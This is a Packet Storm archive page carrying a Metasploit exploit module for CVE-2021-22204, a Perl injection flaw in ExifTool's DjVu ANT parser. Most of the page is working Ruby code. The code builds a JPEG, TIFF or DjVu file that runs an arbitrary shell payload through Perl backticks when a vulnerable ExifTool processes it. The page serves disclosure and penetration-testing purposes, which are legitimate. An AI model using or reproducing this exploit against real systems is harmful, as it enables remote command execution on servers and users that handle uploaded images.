what you don't know can hurt you

ExifTool DjVu ANT Perl Injection

ExifTool DjVu ANT Perl Injection
Posted May 12, 2021
Authored by Justin Steven, William Bowling | Site metasploit.com

This Metasploit module exploits a Perl injection vulnerability in the DjVu ANT parsing code of ExifTool versions 7.44 through 12.23 inclusive. The injection is used to execute a shell command using Perl backticks. The DjVu image can be embedded in a wrapper image using the HasselbladExif EXIF field.

tags | exploit, shell, perl
advisories | CVE-2021-22204
MD5 | 1fba1ff491cb6bf069766f65d4437c6e

ExifTool DjVu ANT Perl Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ExifTool DjVu ANT Perl injection',
'Description' => %q{
This module exploits a Perl injection vulnerability in the DjVu ANT
parsing code of ExifTool versions 7.44 through 12.23 inclusive. The
injection is used to execute a shell command using Perl backticks.
The DjVu image can be embedded in a wrapper image using the
HasselbladExif EXIF field.
},
'Author' => [
'William Bowling', # Vulnerability discovery
'Justin Steven' # Metasploit module
],
'References' => [
%w[CVE 2021-22204],
%w[URL https://twitter.com/wcbowling/status/1385803927321415687],
%w[URL https://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031],
%w[URL https://www.openwall.com/lists/oss-security/2021/05/10/5]
],
'DisclosureDate' => '2021-05-24',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {
'DisableNops' => true,
'Space' => 2000,
'BadChars' => "\x22\x24\x40\x60\x5c" # ", $, @, ` and \
},
'Targets' => [
['JPEG file', { template: 'msf.jpg' }],
['TIFF file', { template: 'msf.tif' }],
['DjVu file', { template: 'msf.djvu' }]
],
'DefaultTarget' => 0
)
)

register_options([
OptString.new('FILENAME', [true, 'Output file', 'msf.jpg'])
])
end

def exploit
p = payload.encoded

buf = djvu_template.sub('echo vulnerable > /dev/tty', p)
buf[8, 4] = [209 + p.length].pack('L>') # Fix up DJVM length
buf[174, 4] = [43 + p.length].pack('L>') # Fix up DJVI length
buf[186, 4] = [31 + p.length].pack('L>') # Fix up ANTa length

if target.name == 'JPEG file'
jpeg_buf = jpeg_template
jpeg_buf[86, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)
buf = jpeg_buf
elsif target.name == 'TIFF file'
tif_buf = tif_template
tif_buf[206, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)
buf = tif_buf
end

file_create(buf)
end

def djvu_template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.djvu'
))
end

def jpeg_template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.jpg'
))
end

def tif_template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.tif'
))
end
end
Login or Register to add favorites

File Archive:

December 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    18 Files
  • 2
    Dec 2nd
    11 Files
  • 3
    Dec 3rd
    23 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    13 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close